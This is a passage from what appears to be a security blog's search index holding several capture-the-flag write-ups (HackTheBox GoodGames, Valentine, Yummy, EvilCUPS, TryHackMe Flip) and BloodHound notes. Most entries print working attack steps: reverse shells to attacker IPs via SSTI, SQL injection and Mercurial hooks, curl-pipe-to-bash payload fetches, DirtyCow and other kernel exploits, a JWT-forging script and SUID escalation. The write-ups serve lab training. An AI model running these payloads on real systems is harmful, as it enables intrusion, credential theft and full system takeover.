an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; uname -a cd /dev/shm CVE-2017-16995 Exploit-DB 45010.\nnano root.c gcc root.c -o root chmod +x root ./root cat /root/root.txt CVE-2017-5899 CVE-2017-5899.\nThere are several alternatives for privilege escalation due to the outdated kernel on the system.\nOne that I haven\u0026rsquo;t tried but is likely to work is CVE-2021-22555.\nSummary Help: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-10-09T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Help/","protected":null,"snippet":"Help: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","kerberos","cve-2017-16995","cve-2017-5899","cve-2021-22555"],"title":"HackTheBox Help Writeup"},{"categories":["notes"],"contents":"SharpHound collects Active Directory data, mapping relationships and permissions, while BloodHound analyzes this data to reveal attack paths and privilege escalation opportunities. Both tools are widely used in pentesting to identify weaknesses in AD environments.\nSharpHound Usage 1. Host SharpHound on Linux To serve SharpHound.exe from your Linux machine:\nmkdir -p /tmp/sharphound cd /tmp/sharphound wget $(curl -s https://api.github.com/repos/BloodHoundAD/SharpHound/releases/latest | grep \u0026#39;\u0026#34;browser_download_url\u0026#34;:\u0026#39; | grep -v \u0026#34;debug\u0026#34; | cut -d \u0026#39;\u0026#34;\u0026#39; -f 4) unzip -o SharpHound-*.zip python3 -m http.server This sets up a simple HTTP server to host SharpHound for download.\n2. Download and Run SharpHound on Windows On the target Windows machine, download SharpHound.exe using one of the following methods:\ncertutil:\ncertutil -urlcache -split -f http://\u0026lt;ip\u0026gt;:8000/SharpHound.exe SharpHound.exe curl (if available):\ncurl -s http://\u0026lt;ip\u0026gt;:8000/SharpHound.exe \u0026gt; SharpHound.exe Then, run SharpHound to begin collecting Active Directory data:\n3. Retrieve Data with smbclient Once the data collection is complete, download the results back to your Linux machine using smbclient:\nsmbclient //\u0026lt;domain\u0026gt;/\u0026lt;share\u0026gt; -U \u0026lt;user\u0026gt;%\u0026lt;password\u0026gt; -c \u0026#34;cd \u0026lt;path\u0026gt;; mask *_output.zip; mget *_output.zip\u0026#34; 4. Analyze with BloodHound After retrieving the SharpHound output files, start BloodHound for analysis using Docker:\ndocker compose -f \u0026lt;(curl -L https://ghst.ly/getbhce) up Login with admin username and randomly generated password will appear in the Docker logs. Once logged in, you can upload and analyze the SharpHound data to search for privilege escalation paths in Active Directory.\nSharpHound from Linux with bloodhound-python sudo bloodhound-python -c all -d \u0026lt;domain\u0026gt; -u \u0026lt;user\u0026gt; -p \u0026lt;password\u0026gt; -ns \u0026lt;domain-ip\u0026gt; -ns \u0026lt;domain-ip\u0026gt;: Manually sets the DNS server IP to resolve domain names if the default DNS fails. Useful when a machine doesn\u0026rsquo;t auto-resolve domains.\nSharpHound with /netonly If you only have credentials and no direct access to execute commands, use the /netonly method for remote authentication.\n1. Use /netonly for Remote Authentication Open a command prompt under network-only authentication:\nrunas /netonly /user:\u0026lt;domain\u0026gt;\\\u0026lt;user\u0026gt; cmd 2. List Target Directories Remotely Use the following command to verify access to the target:\ndir \\\\\u0026lt;ip\u0026gt;\\Users 3. Run SharpHound Manually To run SharpHound under /netonly, you must specify the domain controller explicitly, as it won\u0026rsquo;t be detected automatically.\nIf you encounter network issues or NIC problems, you may need to change the DNS server to point to the target IP:\nCheck Network Interface Configuration:\nRun this command to list the network interface and its current configuration:\nnetsh interface ipv4 show config Set the DNS Server to the Target IP:\nUse the following command to change the DNS for the network interface (e.g., Ethernet) to the target IP:\nnetsh interface ip set dns name=\u0026#34;Ethernet\u0026#34; static \u0026lt;target-ip\u0026gt; After setting the DNS, run SharpHound with the domain controller specified:\nC:\\SharpHound.exe -c all -d \u0026lt;domain\u0026gt; --domaincontroller \u0026lt;ip\u0026gt; This command ensures SharpHound connects to the correct domain controller for data collection.\nBy following these steps, you can gather Active Directory data via SharpHound and analyze it in BloodHound, even with limited access to the Windows target.\nGraph Database Query Cheatsheet User and Computer Relationships Owned User Edges on a Computer MATCH p=shortestPath((m:User)-[r]-\u0026gt;(b:Computer)) WHERE m.owned RETURN p Kerberoastable Users MATCH (n:User) WHERE n.hasspn=true RETURN n Kerberoastable Users (Pwd \u0026gt; 5 Years) MATCH (u:User) WHERE u.hasspn=true AND u.pwdlastset \u0026lt; (datetime().epochseconds - (1825 * 86400)) AND NOT u.pwdlastset IN [-1.0, 0.0] RETURN u.name, u.pwdlastset ORDER BY u.pwdlastset SPNs Containing \u0026lsquo;SQL\u0026rsquo; MATCH (u:User) WHERE ANY (x IN u.serviceprincipalnames WHERE toUpper(x) CONTAINS \u0026#39;SQL\u0026#39;) RETURN u Path Queries Path to Domain Admins for Kerberoastable Users MATCH (u:User {hasspn:true}), (g:Group) WHERE g.name CONTAINS \u0026#39;DOMAIN ADMINS\u0026#39; MATCH p = shortestPath((u)-[*1..]-\u0026gt;(g)) RETURN p RDP Access Workstations and Servers RDP Access MATCH p=(g:Group)-[:CanRDP]-\u0026gt;(c:Computer) WHERE g.objectid ENDS WITH \u0026#39;-513\u0026#39; RETURN p, CASE WHEN NOT c.operatingsystem CONTAINS \u0026#39;Server\u0026#39; THEN \u0026#39;Workstation\u0026#39; ELSE \u0026#39;Server\u0026#39; END Delegation and Sessions Computers with Unconstrained Delegation MATCH (c:Computer {unconstraineddelegation:true}) RETURN c DA Sessions Not on Domain Controllers OPTIONAL MATCH (c:Computer)-[:MemberOf]-\u0026gt;(t:Group) WHERE NOT t.name = \u0026#39;DOMAIN CONTROLLERS@TESTLAB.LOCAL\u0026#39; WITH c as NonDC MATCH p=(NonDC)-[:HasSession]-\u0026gt;(n:User)-[:MemberOf]-\u0026gt;(g:Group {name:\u0026#34;DOMAIN ADMINS@TESTLAB.LOCAL\u0026#34;}) RETURN DISTINCT (n.name) as Username, COUNT(DISTINCT(NonDC)) as Connexions ORDER BY Connexions DESC General Queries Unsupported OSs MATCH (H:Computer) WHERE H.operatingsystem =~ \u0026#39;.*(2000|2003|2008|xp|vista|7|me).*\u0026#39; RETURN H View All GPOs Containing \u0026lsquo;Server\u0026rsquo; Match (n:GPO) WHERE n.name CONTAINS \u0026#34;SERVER\u0026#34; RETURN n Privileges and Delegation Users with Constrained Delegation Permissions MATCH (u:User)-[:AllowedToDelegate]-\u0026gt;(c:Computer) RETURN u.name, COUNT(c) ORDER BY COUNT(c) DESC Domain Admins Logged in Non-Domain Controllers MATCH (n:User)-[:MemberOf*1..]-\u0026gt;(g:Group {name:\u0026#39;DOMAIN ADMINS@DOMAIN.GR\u0026#39;}) MATCH (c:Computer) WHERE NOT EXISTS((c)-[:MemberOf]-\u0026gt;(:Group {name:\u0026#39;DOMAIN CONTROLLERS\u0026#39;})) AND EXISTS((c)-[:HasSession]-\u0026gt;(n)) RETURN c.name Summary BloodHound: collect BloodHound data, read the AD graph, and prioritize attack paths.\n","date":"2024-10-09T08:20:00+08:00","permalink":"https://x3ric.com/blog/posts/BloodHound/","protected":null,"snippet":"BloodHound: collect BloodHound data, read the AD graph, and prioritize attack paths.","tags":["notes","bloodhound","active-directory","linux","windows"],"title":"BloodHound"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.130 goodgames.htb internal-administration.goodgames.htb Script to add hosts automatically ip=\u0026#34;10.10.11.130\u0026#34; domain=\u0026#34;goodgames.htb internal-administration.goodgames.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV goodgames.htb Nmap scan report for goodgames.htb (10.10.11.130) Host is up (0.053s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Werkzeug httpd 2.0.2 (Python 3.9.2) |_http-title: GoodGames | Community and Store |_http-server-header: Werkzeug/2.0.2 Python/3.9.2 Exploiting GoodGames HTB Register on http://goodgames.htb/signup.\nIntercept the login request and begin testing for SQL injection with sqlmap.\nsqlmap -u \u0026#34;http://goodgames.htb/login\u0026#34; \\ --data=\u0026#34;email=1\u0026amp;password=a@a.com\u0026#34; \\ --user-agent=\u0026#34;Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0\u0026#34; \\ --referer=\u0026#34;http://goodgames.htb/signup\u0026#34; \\ -p email --batch --dbms=\u0026#34;MySQL\u0026#34; --level=5 --risk=3 --threads 10 List databases with SQLMap: sqlmap -u \u0026#34;http://goodgames.htb/login\u0026#34; \\ --data=\u0026#34;email=1\u0026amp;password=a@a.com\u0026#34; \\ --user-agent=\u0026#34;Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0\u0026#34; \\ --referer=\u0026#34;http://goodgames.htb/signup\u0026#34; \\ -p email --batch --dbms=\u0026#34;MySQL\u0026#34; --level=5 --risk=3 --threads 10 --dbs Dump the main database: sqlmap -u \u0026#34;http://goodgames.htb/login\u0026#34; \\ --data=\u0026#34;email=1\u0026amp;password=a@a.com\u0026#34; \\ --user-agent=\u0026#34;Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0\u0026#34; \\ --referer=\u0026#34;http://goodgames.htb/signup\u0026#34; \\ -p email --batch --dbms=\u0026#34;MySQL\u0026#34; --level=5 --risk=3 --threads 10 -D main --dump Searching the Hash Search for the hash 2b22337f218b2d82dfc3b6f77e7cb8ec on Google, which reveals the password. Logging into Internal Admin Panel Log in to http://internal-administration.goodgames.htb/login.\nCredentials:\nadmin:superadministrator The interesting page is http://internal-administration.goodgames.htb/settings.\nExploit SSTI for Reverse Shell Change the username, capture the request, and modify it to execute the reverse shell: {{ namespace.__init__.__globals__.os.popen(\u0026#39;bash+-c+\u0026#34;bash+-i+\u0026gt;%26+/dev/tcp/10.10.14.10/9001+0\u0026gt;%261\u0026#34;\u0026#39;).read() }} Upgrade to a better shell using the following method: script /dev/null -c bash Send the shell to the foreground: Press Ctrl + Z to background the shell, then run:\nstty raw -echo; fg Gaining Access Access user.txt: cat /home/augustus/user.txt Copy bash to your home directory: cp /bin/bash /home/augustus Check if you\u0026rsquo;re inside a Docker container by looking for .dockerenv: ls -a / Network Exploration Ping sweep to find hosts: for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep \u0026#34;bytes from\u0026#34; | grep -v \u0026#34;Unreachable\u0026#34; \u0026amp;); done; Check for open ports on the discovered host (example 172.19.0.1): for port in {1..65535}; do echo \u0026gt; /dev/tcp/172.19.0.1/$port \u0026amp;\u0026amp; echo \u0026#34;$port open\u0026#34;; done 2\u0026gt;/dev/null SSH into the discovered host: ssh augustus@172.19.0.1 cp /bin/bash /home/augustus exit Privilege Escalation Change permissions for bash to allow root execution: chown root:root /home/augustus/bash chmod 4777 /home/augustus/bash Log in again via SSH: ssh augustus@172.19.0.1 Execute bash with preserved privileges: ./bash -p Read root.txt: cat /root/root.txt Summary GoodGames: turn the exposed service into a shell, pivot through the container boundary, and escalate to root.\n","date":"2024-10-06T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-GoodGames/","protected":null,"snippet":"GoodGames: turn the exposed service into a shell, pivot through the container boundary, and escalate to root.","tags":["htb","linux","docker"],"title":"HackTheBox GoodGames Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.10.79 valentine.htb Script to add hosts automatically ip=\u0026#34;10.10.10.79\u0026#34; domain=\u0026#34;valentine.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV valentine.htb -Pn Nmap scan report for valentine.htb (10.10.10.79) Host is up (0.049s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA) | 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA) |_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-title: Site doesn\u0026#39;t have a title (text/html). |_http-server-header: Apache/2.2.22 (Ubuntu) 443/tcp open ssl/http Apache httpd 2.2.22 |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn\u0026#39;t have a title (text/html). | ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US | Not valid before: 2018-02-06T00:45:25 |_Not valid after: 2019-02-06T00:45:25 |_ssl-date: 2024-10-06T15:19:57+00:00; 0s from scanner time. Service Info: Host: 10.10.10.136; OS: Linux; CPE: cpe:/o:linux:linux_kernel CVE-2014-0160 (Heartbleed Vulnerability) Validate Vulnerability:\nnmap --script=ssl-heartbleed -p 443 valentine.htb -Pn Download the Proof of Concept (PoC):\ngit clone https://github.com/sensepost/heartbleed-poc.git cd heartbleed-poc Use the PoC and Extract the Password from the Dump:\npython2 heartbleed-poc.py -n1 -f dump.bin valentine.htb -p 443 strings dump.bin | tail -n 1 | sed \u0026#39;s/\\$text=//\u0026#39; | base64 -d Note: This command might need to be run multiple times to capture the necessary data.\nEnumeration Perform Directory Bruteforcing:\ndirb http://valentine.htb Results:\n+ http://10.10.10.79/cgi-bin/ (CODE:403 | SIZE:287) + http://10.10.10.79/decode (CODE:200 | SIZE:552) + http://10.10.10.79/dev/ (DIRECTORY) + http://10.10.10.79/encode (CODE:200 | SIZE:554) + http://10.10.10.79/index (CODE:200 | SIZE:38) + http://10.10.10.79/index.php (CODE:200 | SIZE:38) + http://10.10.10.79/server-status (CODE:403 | SIZE:292) Investigate the /dev/ Directory:\nGoing to http://valentine.htb/dev/, you find two files:\nnotes.txt hype_key Contents of notes.txt:\nTo do: 1) Coffee. 2) Research. 3) Fix decoder/encoder before going live. 4) Make sure encoding/decoding is only done client-side. 5) Don\u0026#39;t use the decoder/encoder until any of this is done. 6) Find a better way to take notes. Download the Encrypted Key from hype_key and ssh in the machine:\ncurl -sk http://10.10.10.79/dev/hype_key \u0026gt; hype_key cat hype_key | xxd -r -p \u0026gt; hype_key_encrypted openssl rsa -in hype_key_encrypted -out hype.key chmod 600 hype.key rm -rf hype_key hype_key_encrypted ssh -i hype.key hype@valentine.htb -o PubkeyAcceptedKeyTypes=+ssh-rsa Privilege Escalation Find the user.txt Flag:\nfind . -name user.txt -exec wc -c {} \\; -exec cat {} \\; Check for Processes Running as Root (e.g., tmux):\nps -ef | grep tmux You find a running tmux session.\nRetrieve Commands from History:\nhistory From the history, the following command is revealed:\ntmux -S /.devs/dev_sess This gives access to a tmux session where you can now obtain the root.txt flag:\ncat /root/root.txt Alternative Privilege Escalation (DirtyCow) We suspect the system is running an old kernel vulnerable to DirtyCow (CVE-2016-5195). To confirm, we check the kernel version:\nuname -a Output:\nLinux Valentine 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 GNU/Linux The version is vulnerable. Next, we use searchsploit to find available DirtyCow exploits:\nsearchsploit dirty From the results, we select an exploit that modifies /etc/passwd to add a new root user. We download the exploit:\nsearchsploit -m exploits/linux/local/40839.c Upload the exploit to the target:\nscp -o PubkeyAcceptedKeyTypes=+ssh-rsa -i hype.key 40839.c hype@valentine.htb:/home/hype/ Run the exploit:\ngcc -pthread 40839.c -o dirtycow -lcrypt chmod +x dirtycow ./dirtycow switch to the created user\nsu firefart You now have root access via the new user created by the DirtyCow exploit.\nSummary Valentine: use CVE-2014-0160 and CVE-2016-5195 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-10-06T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Valentine/","protected":null,"snippet":"Valentine: use CVE-2014-0160 and CVE-2016-5195 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2014-0160","cve-2016-5195"],"title":"HackTheBox Valentine Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.36 yummy.htb Script to add hosts automatically ip=\u0026#34;10.10.11.36\u0026#34; domain=\u0026#34;yummy.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV yummy.htb Nmap scan report for yummy.htb (10.10.11.36) Host is up (0.052s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA) |_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519) 80/tcp open http Caddy httpd |_http-title: Yummy |_http-server-header: Caddy Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Forge Admin JWT token Create an Account:\nSign up, log in, and capture the JWT token from your browser cookies. Install Libraries:\npip install pyjwt pycryptodome sympy Exploit Weak RSA Keys:\nFactor the modulus (n) from the JWT, get p and q, and derive the private key. Re-sign the JWT with \u0026quot;role\u0026quot;: \u0026quot;administrator\u0026quot;. Exploit Script: import base64, json, jwt, sympy from Crypto.PublicKey import RSA from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import default_backend token = input(\u0026#34;Token? \u0026#34;) js = json.loads(base64.b64decode(token.split(\u0026#34;.\u0026#34;)[1] + \u0026#34;===\u0026#34;).decode()) n = int(js[\u0026#34;jwk\u0026#34;][\u0026#39;n\u0026#39;]) p, q = list((sympy.factorint(n)).keys()) e = 65537 phi_n = (p - 1) * (q - 1) d = pow(e, -1, phi_n) key = RSA.construct((n, e, d, p, q)) private_key_bytes = key.export_key() private_key = serialization.load_pem_private_key( private_key_bytes, password=None, backend=default_backend() ) public_key = private_key.public_key() data = jwt.decode(token, public_key, algorithms=[\u0026#34;RS256\u0026#34;]) data[\u0026#34;role\u0026#34;] = \u0026#34;administrator\u0026#34; new_token = jwt.encode(data, private_key, algorithm=\u0026#34;RS256\u0026#34;) print(f\u0026#34;\\n{new_token}\u0026#34;) Use Admin JWT Copy the new token into your browser\u0026rsquo;s cookies. Exploiting SSTI for RCE As an admin, you can exploit Server-Side Template Injection (SSTI) to execute commands. Inject malicious payloads into templates to gain Remote Code Execution (RCE). RevShell Start HTTP server to host rev.sh:\necho \u0026#34;#\\!/bin/bash\\n/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/vpn-ip/9001 0\u0026gt;\u0026amp;1\u0026#34; \u0026gt; rev.sh chmod +x rev.sh python -m http.server Start Netcat listener:\nnc -lvnp 9001 Trigger SQL Injection for Reverse Shell ip=\u0026#34;vpn-ip\u0026#34; echo -en \u0026#34;Admin Token? \u0026#34; read token url() { curl -s -H \u0026#34;Cookie: X-AUTH-Token=$token\u0026#34; \u0026#34;http://yummy.htb/admindashboard?s=aa\u0026amp;o=ASC%3b++select+\\\u0026#34;$1%3b\\\u0026#34;+INTO+OUTFILE++\u0026#39;$2\u0026#39;+%3b\u0026#34; } url \u0026#34;ping+$ip\u0026#34; \u0026#34;/data/scripts/dbstatus.json\u0026#34; url \u0026#34;curl+$ip:8000/rev.sh+|bash\u0026#34; \u0026#34;/data/scripts/pwn\u0026#34; PrivEsc Netcat listener:\nnc -lvnp 9002 mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old cd /tmp echo -e \u0026#34;#\\!/bin/bash\\n/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/vpn-ip/9002 0\u0026gt;\u0026amp;1\u0026#34; \u0026gt; rev.sh chmod + rev.sh mv \u0026#34;rev.sh\u0026#34; /data/scripts/app_backup.sh in the listener\nstrings /var/www/app-qatesting/.hg/store/data/app.py.i this show db user and passwords\nnow you can close all old listeners and ssh in it.\nssh qa@yummy.htb\ncat /home/qa/user.txt Netcat listener:\nnc -lvnp 9001 get a dev shell\ncd /tmp mkdir .hg chmod 777 .hg cp ~/.hgrc .hg/hgrc echo \u0026#34;[hooks]\u0026#34; \u0026gt;\u0026gt; /tmp/.hg/hgrc echo \u0026#34;post-pull = /tmp/revshell.sh\u0026#34; \u0026gt;\u0026gt; /tmp/.hg/hgrc echo \u0026#34;bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/vpn-ip/9001 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34; \u0026gt; /tmp/revshell.sh chmod +x /tmp/revshell.sh sudo -u dev /usr/bin/hg pull /home/dev/app-production/ get root\nsudo /usr/bin/rsync -a --exclude\\=.hg /home/dev/app-production/../../../../../../bin/bash --chmod=+s /opt/app/ /opt/app/bash -p cat /root/root.txt Summary Yummy: enumerate the services, turn the exposed weakness into a shell, and escalate to root.\n","date":"2024-10-06T00:15:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Yummy/","protected":null,"snippet":"Yummy: enumerate the services, turn the exposed weakness into a shell, and escalate to root.","tags":["htb","linux"],"title":"HackTheBox Yummy Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.40 evilcups.htb Script to add hosts automatically ip=\u0026#34;10.10.11.40\u0026#34; domain=\u0026#34;evilcups.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV evilcups.htb Nmap scan report for evilcups.htb (10.10.11.40) Host is up (0.052s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA) |_ 256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519) 631/tcp open ipp CUPS 2.4 |_http-title: Bad Request - CUPS v2.4.2 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel We can access the CUPS interface at http://10.10.11.40:631.\nRemote Code Execution (RCE) This attack is described in detail here:\nhttps://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/\nThe proof of concept (PoC) was created by the room creator and can be found here:\nhttps://github.com/IppSec/evil-cups\nStart a Listener Set up a listener to capture the reverse shell:\nnc -lvnp 9001 Download and Set Up the Exploit You\u0026rsquo;ll need the Python ippserver package for the CUPS exploit.\nwget https://raw.githubusercontent.com/IppSec/evil-cups/refs/heads/main/evilcups.py -O evilcups chmod +x evilcups vpnip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) ./evilcups $vpnip 10.10.11.40 \u0026#39;bash -c \u0026#34;nohup bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026#39;$vpnip\u0026#39;/9001 0\u0026gt;\u0026amp;1\u0026#34;\u0026amp;\u0026#39; Trigger the RCE To trigger the reverse shell, go to the CUPS web interface at http://10.10.11.40:631. Find the added printer, click on \u0026ldquo;Maintenance,\u0026rdquo; and then click on \u0026ldquo;Print Test Page.\u0026rdquo;\nRetrieve the User Flag Once you have shell access, you can retrieve the user flag:\ncat /home/htb/user.txt Explore CUPS Spool Files Navigate to the CUPS spool directory to inspect the files:\ncd /var/spool/cups cat d00001-001 Set up a Python HTTP server to transfer the file:\npython3 -m http.server Download and Convert the Spool File On your local machine, download the spool file:\nwget \u0026#39;http://10.10.11.40:8000/d00001-001\u0026#39; Convert the file to PDF format:\nps2pdf d00001-001 d00001-001.pdf Open the PDF to inspect its contents:\nxdg-open d00001-001.pdf Retrieve the Root Password With the information gathered, SSH into the box as root:\nssh root@10.10.11.40 Retrieve the root flag:\ncat /root/root.txt Good OpSec: Removing a Malicious Printer from CUPS List Active Printers Check which printers are currently active:\nlpstat -p Example:\nprinter Canon_MB2300_series is idle. printer HACKED_10_10_14_2 is idle. Attempt Printer Removal Try to remove the malicious printer:\nlpadmin -x HACKED_10_10_14_2 Restart CUPS Apply changes by restarting the CUPS service:\nsystemctl restart cups Verify Removal Check again to ensure the printer is removed:\nlpstat -p Manual Removal (If Necessary) If lpadmin fails, manually edit the printer configuration:\nnano /etc/cups/printers.conf Delete the section for the unwanted printer:\n\u0026lt;Printer HACKED_10_10_14_2\u0026gt; ... \u0026lt;/Printer\u0026gt; Save and exit (Ctrl + O, Ctrl + X).\nClear CUPS Cache Remove the CUPS job cache:\nrm /var/cache/cups/job.cache Important: Only clear spool files if you are sure there’s no sensitive data:\nrm /var/spool/cups/d* /var/spool/cups/c* Note: On this machine, avoid removing spool files because they contain the password.\nSummary EvilCUPS: use CVE-2024-47076 and CVE-2024-47175 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-10-03T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-EvilCUPS/","protected":null,"snippet":"EvilCUPS: use CVE-2024-47076 and CVE-2024-47175 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2024-47076","cve-2024-47175","cve-2024-47176","cve-2024-47177"],"title":"HackTheBox EvilCUPS Writeup"},{"categories":["challenge"],"contents":"https://tryhackme.com/r/room/flip\nFlip is an easy TryHackMe challenge writeup focused on practical enumeration, exploitation, and proof capture. The notes keep the solve path compact and reproducible.\nAdd Hosts 10.10.98.109 flip.thm Script to add hosts automatically ip=\u0026#34;10.10.98.109\u0026#34; domain=\u0026#34;flip.thm\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts AES CBC Bit Flipping Attack: TryHackMe Flip Room In this room, we explore AES CBC Bit Flipping Attacks to bypass authentication and retrieve a flag.\nOverview of AES and CBC Mode AES (Advanced Encryption Standard) is a symmetric block cipher that encrypts blocks of data using a secret key. It operates on fixed-size blocks, usually 128 bits, and supports key sizes of 128, 192, and 256 bits.\nCBC (Cipher Block Chaining) is a mode of operation for block ciphers where each block of plaintext is XORed with the previous ciphertext block before encryption. It uses an Initialization Vector (IV) to ensure that the same plaintext block will encrypt differently each time, even with the same key.\nTask Outline In this challenge, we are provided a Python script that demonstrates how the encryption and decryption process works and how a bit-flipping attack can be used to bypass the login checks and retrieve the flag.\nStep-by-Step Breakdown Connecting to the Service First, use netcat to connect to the service:\nnc flip.thm 1337 This will connect you to the service running on flip.thm at port 1337. Upon connection, you\u0026rsquo;ll be prompted for a username and password.\nCredentials Provided in the Challenge The credentials provided in the challenge are:\nUsername: admin Password: sUp3rPaSs1 If you use these credentials directly, you won\u0026rsquo;t retrieve the flag as the service is designed to reject direct access using these credentials.\nBit-Flipping Attack Concept To bypass the checks, a bit-flipping attack can be applied. In this attack, we manipulate the ciphertext so that the server decrypts it into a valid username and password without modifying the encryption key or the server logic.\nAnalyzing the Ciphertext Upon connecting, you will receive a leaked ciphertext that corresponds to the username and password. By modifying the bits in the ciphertext using XOR, we can change the decrypted data while still keeping the integrity of the block structure.\nXOR-Based Attack By flipping specific bits in the ciphertext, we can change the incorrect username (bdmin) back to the original (admin). This manipulation happens at the byte level, exploiting the way CBC mode works.\nPerforming the Attack The Python script in the challenge shows how to send modified ciphertext back to the server. By carefully flipping the necessary bits in the ciphertext, we can bypass the check and retrieve the flag.\nRetrieving the Flag After successfully manipulating the ciphertext and bypassing the checks, you will receive the flag from the server.\nPoc #!/bin/python3 from pwn import * ip = \u0026#34;flip.thm\u0026#34; conn = remote(f\u0026#39;{ip}\u0026#39;, 1337) username = b\u0026#34;bdmin\u0026amp;password=sUp3rPaSs1\u0026#34; password = b\u0026#34;password\u0026#34; password_prompt = b\u0026#34;bdmin\u0026amp;password=sUp3rPaSs1\u0026#39;s password: \u0026#34; conn.sendlineafter(b\u0026#39;username: \u0026#39;, username) conn.sendlineafter(password_prompt, password) leaked_ciphertext_line = conn.recvline(keepends=False) leaked_ciphertext = leaked_ciphertext_line.decode(\u0026#34;utf-8\u0026#34;) leaked_ciphertext = leaked_ciphertext.split(\u0026#39;: \u0026#39;)[1].encode(\u0026#34;utf-8\u0026#34;) print(\u0026#39;[*] Leaked ciphertext: \u0026#39; + leaked_ciphertext.decode(\u0026#34;utf-8\u0026#34;)) xor = ord(\u0026#39;b\u0026#39;) ^ ord(\u0026#39;a\u0026#39;) flipped = hex(int(leaked_ciphertext[0:2], 16) ^ xor)[2:] ciphertext = flipped.encode(\u0026#34;utf-8\u0026#34;) + leaked_ciphertext[2:] print(\u0026#39;[*] Sending ciphertext: \u0026#39; + ciphertext.decode(\u0026#34;utf-8\u0026#34;)) conn.sendlineafter(b\u0026#39;enter ciphertext: \u0026#39;, ciphertext) resp = conn.recvuntil(b\u0026#39;}\u0026#39;, drop=False) print(\u0026#39;[+] Server\\\u0026#39;s response: \u0026#39; + resp.decode(\u0026#39;utf-8\u0026#39;)) conn.close() Summary Flip: abuse the AES misuse, derive the missing key material, and decrypt the flag.\n","date":"2024-10-03T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/TryHackMe-Flip-Challenge/","protected":null,"snippet":"Flip: abuse the AES misuse, derive the missing key material, and decrypt the flag.","tags":["thm","crypto","aes","xor"],"title":"TryHackMe Flip Challenge"},{"categories":["machine"],"contents":"Add Hosts 10.10.21.39 